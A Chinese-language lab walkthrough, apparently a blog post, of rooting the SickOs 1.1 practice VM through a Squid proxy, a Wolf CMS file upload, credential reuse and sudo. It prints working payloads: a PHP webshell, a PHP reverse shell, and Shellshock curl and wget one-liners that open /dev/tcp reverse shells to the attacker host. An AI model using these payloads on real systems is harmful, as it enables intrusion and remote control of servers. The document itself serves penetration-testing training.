红队渗透项目之SickOs 1.1

语言: CN / TW / HK

简介

该项目是D4rk作者精心制作的项目环境,目标是获取获得root权限并找到flag.txt文本信息,该项目作为OSCP考试培训必打的一个项目环境,该作者评定该环境为渗透中级水准难度。接下来不管是零基础学习渗透者,还是有些基础的渗透者,甚至是高水平的渗透人员读该的技巧和文章都能学习到一些红队知识。

该项目有始有终会用到信息收集->web页面信息枚举->获得getshell(三种方式)->内网信息枚举->sudo提权->四个拓展小知识,最终拿到flag.txt的过程,那么在五大模块中用到了一些小技巧都会在文章中演示出来,希望大家能动手也来和我一起学习渗透。

请注意:

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

一、信息收集

信息收集非常重要,有了信息才能知道下一步该如何进行,接下来将用nmap来演示信息收集!

1、nmap扫描存活IP

由于本项目环境是nat模式需要项目IP地址,扫描挖掘本地的IP地址信息:

本机IP为: 192.168.40.138

发现本kali ip为40段!用40段进行全网段扫描:

nmap -sP 192.168.40.0/24

发现项目iP: 192.168.40.159

2、nmap全端口枚举

进行namp全端口服务枚举:

nmap -sC -sV -A -T5 192.168.40.159

得到开放的端口信息:

22/tcp   open   ssh        OpenSSH 5.9p1 Debian 5ubuntu1.1    
3128/tcp open   http-proxy Squid http proxy 3.1.19           
8080/tcp closed http-proxy

开启了三个端口,8080端口是关闭状态,3128显示代理了http,那么访问得用squid进行访问。

二、web页面信息枚举

1、http代理设置

Squid Cache(简称为Squid)是HTTP代理服务器软件。 Squid用途广泛,可以作为缓存服务器,可以过滤流量帮助网络安全,也可以作为代理服务器链中的一环,向上级代理转发数据或直接连接互联网。 Squid程序在Unix一类系统运行。

火狐浏览器自带代理设置:

192.168.40.159  3128

访问页面:

http://192.168.40.159/

通过代理后可以正常访问,信息收集看了源码发现无可用信息!

2、nikto漏扫

Nikto是一款开源的(GPL)网页服务器扫描器,它可以对网页服务器进行全面的多种扫描,包含超过3300种有潜在危险的文件CGIs;超过625种服务器版本;超过230种特定服务器问题。

由于挂了代理,利用nikto扫描:

nikto -h 192.168.40.159 -useproxy http://192.168.40.159:3128
-useproxy 指定代理访问地址

发现了存在robots.txt文件信息和header存在93e4r0-cve-2014-6278信息,可以利用shellshock的CVE-2014-6271进行攻击!

3、robots.txt信息枚举

robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。因为一些系统中的URL是大小写敏感的,所以robots.txt的文件名应统一为小写。

访问robots.txt文件:

http://192.168.40.159/robots.txt

发现一个目录/wolfcms

访问该目录:

http://192.168.40.159/wolfcms/

发现这是Wolf CMS的框架站!一般有后台登录Wolf CMS是一个轻量级的CMS系统,包含一组插件,支持每页定制,灵活的页面内容和可重用的片段。

4、Wolf CMS 文件上传

Wolf CMS是一款内容管理系统(CMS),是在GNUGeneral Public License v3下发布的免费软件。Wolf CMS是由PHP语言编写,是Frog CMS的一个分支。在2010年Packet Publishing开源项目评奖的“Most Promising Open Source Project”分类中杀进了决赛。

经过百度之后发现这是一个内容管理系统并且存在文件上传漏洞

参考文章:

https://cloud.tencent.com/developer/article/1047292

kali Wolf CMS搜索漏洞:

searchsploit Wolf CMS

发现:Wolf CMS - 任意文件上传/执行| php/webapps/38000.txt

下载至本地分析:

locate php/webapps/38000.txt
cp /usr/share/exploitdb/exploits/php/webapps/38000.txt .
ls

查看分析文件:

cat 38000.txt

发现易受攻击的URL后台地址:

http://targetsite.com/wolfcms/?/admin/plugin/file_manager/browse/

访问后台地址:

http://192.168.40.159/wolfcms/?/admin/login

尝试弱口令登录:

admin/admin

成功登录!并发现可以文件上传!

三、Getshell--三种方法

获取WebShell的动作又叫做GetShell,是渗透测试各项能力的综合体现,也是渗透测试一个重要的阶段性目标。 GetShell方式众多,常见如文件上传、SQL注入、命令执行、文件包含、解析漏洞等等。 有时候一个漏洞即可GetShell,有时候则需要各种漏洞打一套组合拳方可。接下来将介绍三种Getshell的方法给小伙伴们学习!

1、利用phpshell反弹shell(方法一)

复制phpshell到本地:

locate php-reverse-shell.php
cp /usr/share/webshells/php/php-reverse-shell.php .  
ls

修改配置为本地kali IP和监听端口:

gedit php-reverse-shell.php

上传php脚本:

在kali开启监听,并访问phpshell:

nc -vlp 1234
http://192.168.40.159/wolfcms/public/php-reverse-shell.php

成功获得反弹shell!

2、一句话get请求(方法二)

一句话木马原理(PHP):

1)PHP eval() 把字符串按照PHP 代码来计算。 
2)该字符串必须是合法的PHP 代码,且必须以分号结尾。 
3)如果没有在代码字符串中调用return语句,则返回NULL。如果代码中存在解析错误,则eval() 函数返回false。

编写PHP一句话脚本cmd.php

<?php echo shell_exec($_GET['cmd']);?>

上传cmd.php文件:

访问PHP执行命令:

http://192.168.40.159/wolfcms/public/cmd.php?cmd=whoami

成功回显命令!

3、写入POC(方法三)

编写PHP脚本,本地获得反弹shell

<?php
$sock=fsockopen('192.168.40.138',8888);
$descriptorspec=array(
0=>$sock,
1=>$sock,
2=>$sock
);
$process=proc_open('/bin/sh',$descriptorspec,$pipes);
proc_close($process);
echo phpinfo();
?>

生成22.php,上传脚本,并访问:

http://192.168.40.159/wolfcms/public/22.php

nc -vlp 8888
python -c 'import pty; pty.spawn("/bin/bash")'

成功反弹shell!

四、内网信息枚举

尝试后拿到了反弹shell开启内网信息枚举!

1、根目录信息枚举

查找config文件:

python -c 'import pty; pty.spawn("/bin/bash")'   #使用python进入tty
cd /var/www/
find / -name config* 2>/dev/null

发现/var/www/wolfcms/config.php 文件,打开看下:

cat /var/www/wolfcms/config.php

发现数据库账号密码:

root
[email protected]

2、MYSQL信息枚举

用获取到的账户密码mysql登录,并查看库信息:

mysql -uroot [email protected]
show databases;
use wolf

表信息枚举:

show tables;
select *from user

只看到admin,其他未发现有用的信息!

3、用户信息枚举

Linux中的passwd文件是一个包含用户详细信息的配置文件!

查看/etc/passwd文件:

cat /etc/passwd

发现新用户: sickos

五、提权

提权,顾名思义就是提高自己在服务器中的权限,就比如在windows中你本身登录的用户是guest,然后通过提权后就变成超级管理员,拥有了管理Windows的所有权限。 提权是黑客的专业名词,一般用于网站入侵和系统入侵中。

1、ssh sickos用户登录

尝试使用mysq枚举的密码登录ssh:

ssh [email protected] 
[email protected]    
id

发现sickos用户在sudo组里,尝试能否sudo提权

2、滥用sudo提权

在渗透中,我们拿到的webshell和反弹回来的shell权限可能都不高,如果我们可以使用sudo命令访问某些程序,则我们可以使用sudo可以提权。在这里,我们可以通过调用一些二进制文件,这些文件可以帮助我们使用sudo命令提升特权。

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。

查看下sudo条件:

sudo -l

回显sudo有权限!接下来了解sudo su命令的含义:

sudo su命令和su命令相似,都是用来切换用户的。区别就是两个命令需要输入的密码不一样。

sudo su的含义就是要用root权限运行su命令,既然是用root权限运行su命令,那么就不需要输入切换到的用户的密码了。

获得root权限并拿到flag:

sudo su   
cd /root
cat a0216ea4d51874464078c618298b1367.txt

成功通过sudo su!

六、拓展小知识

1、CVE-2014-6278 shellshock利用

Shellshock - CVE-2014-6271和CVE-2014-6278 - 是在 Linux 发行版中常用的Bash命令shell 中发现的一个严重漏洞。该漏洞允许攻击者在受影响的系统上运行任意命令,使用CGI环境的Web服务器会受影响。

在CVE-2014-6271的0day漏洞描述中是这么阐述的:

GNU Bash 到 4.3 处理环境变量值中函数定义之后的尾随字符串,这允许远程攻击者通过精心设计的环境执行任意代码,如涉及 OpenSSH sshd 中的 ForceCommand 功能、Apache 中的 mod_cgi 和 mod_cgid 模块的向量所示HTTP 服务器、由未指定的 DHCP 客户端执行的脚本,以及设置环境发生在 Bash 执行的特权边界的其他情况,即“ShellShock”。注意:此问题的原始修复不正确;CVE-2014-7169 已被分配以覆盖在错误修复后仍然存在的漏洞。

之前nikto发现: /cgi-bin/status

1)访问页面枚举:

192.168.40.159/cgi-bin/status

发现uptime、kernel和版本信息!

2)用curl反弹shell

nc -lvp 9999
curl -x http://192.168.40.159:3128 -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/192.168.40.138/9999 0>&1" http://192.168.40.159/cgi-bin/status
-x  使用HTTP代理启动连接
-H  使用http头进行连接User-Agent

成功反弹shell!

2、kali自带脚本shellshock

利用34900.py反弹shell:

searchsploit Shellshock
locate linux/remote/34900.py
cp /usr/share/exploitdb/exploits/linux/remote/34900.py .

34900.py分析:

使用payload:

python 34900.py payload=reverse rhost=192.168.40.159 lhost=192.168.40.138 lport=555 proxy=192.168.40.159:3128 pages=/cgi-bin/status/

成功获得shell!

3、dirb漏扫代理技巧

Dirb是一个基于命令行的工具,可以根据单词列表对任何目录进行暴力破解。Dirb会发出一个HTTP请求,并查看每个请求的HTTP响应代码!

用dirb漏扫代理http:

dirb http://192.168.40.159/ -p http://192.168.40.159:3128
-p 指定代理

成功执行!参考:

https://zhuanlan.zhihu.com/p/26549845

4、wget走代理执行命令下载

Linux系统中的wget是一个下载文件的工具,其功能多样性也是可以走代理进行操作执行的!

用wget执行bash 反弹shell:

nc -vlp 9998
wget -qO- -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/bash -i >& /dev/tcp/192.168.40.138/9998 0>&1" -e use_proxy=yes -e http_proxy=192.168.40.159:3128 http://127.0.0.1/cgi-bin/status
-qO-   ---将信息文本输出
-U  --user-agent=代理
-e   ----运行命令,execute=命令

成功反弹shell!

七、总结

通过以上的学习,我们认知了一些红队的小技巧的技术手段,完成了从信息收集到内核提权项目落地,学习到了非常多的技巧,例如nmap全端口信息枚举、http代理、nikto漏扫、wolf CMS文件上传、php反弹shell、一句话get请求、sudo提权、CVE-2014-6278 shellshock利用等等,希望伙伴们能实际操作复现一遍!来巩固自身的渗透技术和技巧!

希望大家提高安全意识,没有网络安全就没有国家安全!

作者:十七